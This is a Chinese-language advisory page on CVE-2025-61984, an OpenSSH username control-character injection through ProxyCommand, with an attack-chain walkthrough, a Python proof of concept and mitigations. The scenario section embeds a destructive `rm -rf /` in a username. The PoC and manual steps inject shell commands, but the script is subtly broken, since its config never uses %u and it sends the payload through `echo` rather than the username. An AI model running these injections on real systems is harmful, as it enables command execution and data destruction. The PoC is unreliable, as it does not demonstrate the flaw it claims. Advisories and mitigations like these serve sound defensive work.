IPBUF安全漏洞报告
English
CVE-2025-61984 CVSS 3.6 低危

CVE-2025-61984:OpenSSH用户名控制字符注入导致代码执行漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-61984
漏洞类型
命令注入/代码执行
CVSS评分
3.6 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenSSH

相关标签

OpenSSH命令注入代码执行控制字符注入ProxyCommandSSH客户端本地提权低危漏洞CVE-2025-61984

漏洞概述

CVE-2025-61984是OpenSSH在10.1版本之前存在的一个安全漏洞。该漏洞源于ssh客户端在处理用户名时,未能充分过滤来自不可信来源的用户名中的控制字符。当用户名来源于命令行参数或配置文件的%-序列扩展(这些被视为不可信来源)时,攻击者可以在用户名中嵌入控制字符(如换行符、回车符等终端控制序列)。当OpenSSH使用ProxyCommand配置时,这些控制字符可能被传递给shell解释器执行,从而导致任意代码执行。需要注意的是,如果配置文件直接提供了完整的字面量用户名,则不被视为不可信来源。该漏洞的CVSS 3.1评分为3.6分,属于低危级别,攻击需要本地访问权限和低权限认证,但无需用户交互。漏洞由OpenSSH社区发现并修复,修复版本为OpenSSH 10.1p1。此漏洞主要影响使用ProxyCommand功能的OpenSSH客户端用户,特别是那些从配置文件或命令行动态构造用户名的场景。

技术细节

OpenSSH的ssh客户端在解析用户名时,未对来自不可信来源(命令行参数和配置文件的%-token扩展)的用户名进行充分的控制字符过滤。攻击者可以在用户名中注入ANSI转义序列或shell控制字符(如\n、\r、\x1b等)。当用户配置了ProxyCommand选项时,OpenSSH会将用户名等信息传递给ProxyCommand指定的shell命令执行。由于用户名中的控制字符未被转义或过滤,攻击者可以利用这些字符中断原有命令结构,注入并执行任意shell命令。

利用条件:
1. 目标系统使用OpenSSH < 10.1版本
2. ssh客户端配置了ProxyCommand选项
3. 用户名来源于命令行参数或配置文件的%-序列扩展

攻击场景示例:当用户使用类似`Host *.example.com\n ProxyCommand ssh -W %h:%p gateway`的配置文件,且用户名从不可信源获取时,攻击者可在用户名中嵌入`\nrm -rf /\n`等恶意命令,当ProxyCommand执行时,恶意命令将被shell解释执行。

攻击链分析

STEP 1
步骤1:环境准备
攻击者确认目标系统运行OpenSSH < 10.1版本,且客户端配置了使用%-序列(如%u、%h、%p)的ProxyCommand选项
STEP 2
步骤2:构造恶意用户名
攻击者在用户名中嵌入控制字符(如换行符\n、回车符\r或ANSI转义序列),构造能够注入shell命令的恶意用户名
STEP 3
步骤3:触发漏洞
通过命令行参数或配置文件动态扩展传递恶意用户名给ssh客户端,OpenSSH未对控制字符进行过滤
STEP 4
步骤4:命令执行
当ProxyCommand执行时,恶意用户名中的控制字符被shell解释,导致注入的命令以ssh客户端权限执行
STEP 5
步骤5:权限提升与持久化
利用执行的命令,攻击者可以读取敏感文件、建立持久化后门或进行横向移动,取决于用户权限和系统配置

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61984 PoC - OpenSSH Username Control Character Injection # This PoC demonstrates how control characters in usernames can lead to # code execution when ProxyCommand is used in OpenSSH < 10.1 import subprocess import sys # Malicious username with embedded shell command via control characters # The \n character allows command injection when passed to ProxyCommand malicious_username = "normaluser\nid > /tmp/pwned\n" # SSH config that uses ProxyCommand with %u (username expansion) # This is the "untrusted source" that triggers the vulnerability ssh_config = """ Host target ProxyCommand ssh -W %h:%p gateway """ def exploit(): """ Exploit flow: 1. Attacker provides a username containing control characters 2. The username originates from command line or %-sequence expansion 3. OpenSSH passes the username to ProxyCommand without sanitization 4. Shell interprets the control characters, executing injected commands """ # Write malicious SSH config with open('/tmp/exploit_config', 'w') as f: f.write(ssh_config) # Execute SSH with malicious username from command line # The username contains \n which breaks out of the intended command cmd = [ 'ssh', '-F', '/tmp/exploit_config', '-o', f'ProxyCommand=echo {malicious_username}', 'target' ] print(f"[*] Executing: {' '.join(cmd)}") print(f"[*] Malicious username: {repr(malicious_username)}") try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=5) print(f"[*] stdout: {result.stdout}") print(f"[*] stderr: {result.stderr}") # Check if injected command executed try: with open('/tmp/pwned', 'r') as f: print(f"[!] Exploit successful! /tmp/pwned contents: {f.read()}") except FileNotFoundError: print("[-] /tmp/pwned not created - exploit may not have triggered") except subprocess.TimeoutExpired: print("[!] Process timed out (may indicate hanging shell)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-61984 - OpenSSH Username Control Character Injection") print("Affects: OpenSSH < 10.1") print("=" * 60) exploit() # Alternative manual exploitation: # 1. Create ~/.ssh/config with ProxyCommand using %u: # Host * # ProxyCommand /bin/sh -c "ssh -W %h:%p $0" %u # # 2. Connect with a crafted username: # ssh 'user\nmalicious_command\n'@target # # 3. The \n in username causes shell to execute 'malicious_command' # # Mitigation: Upgrade to OpenSSH 10.1p1 or later

影响范围

OpenSSH < 10.1
OpenSSH 10.1p1(修复版本)

防御指南

临时缓解措施
在无法立即升级OpenSSH的情况下,建议采取以下临时缓解措施:1)审查并修改所有SSH客户端配置文件(~/.ssh/config和/etc/ssh/ssh_config),避免在ProxyCommand中使用%u(用户名)等%-序列,改用字面量值;2)对通过命令行传递的用户名进行严格验证,拒绝包含控制字符(ASCII 0x00-0x1F、0x7F)的用户名;3)限制普通用户对SSH配置文件的修改权限;4)监控异常的SSH连接行为和ProxyCommand执行日志;5)考虑使用强制命令(ForceCommand)限制ProxyCommand可执行的命令范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表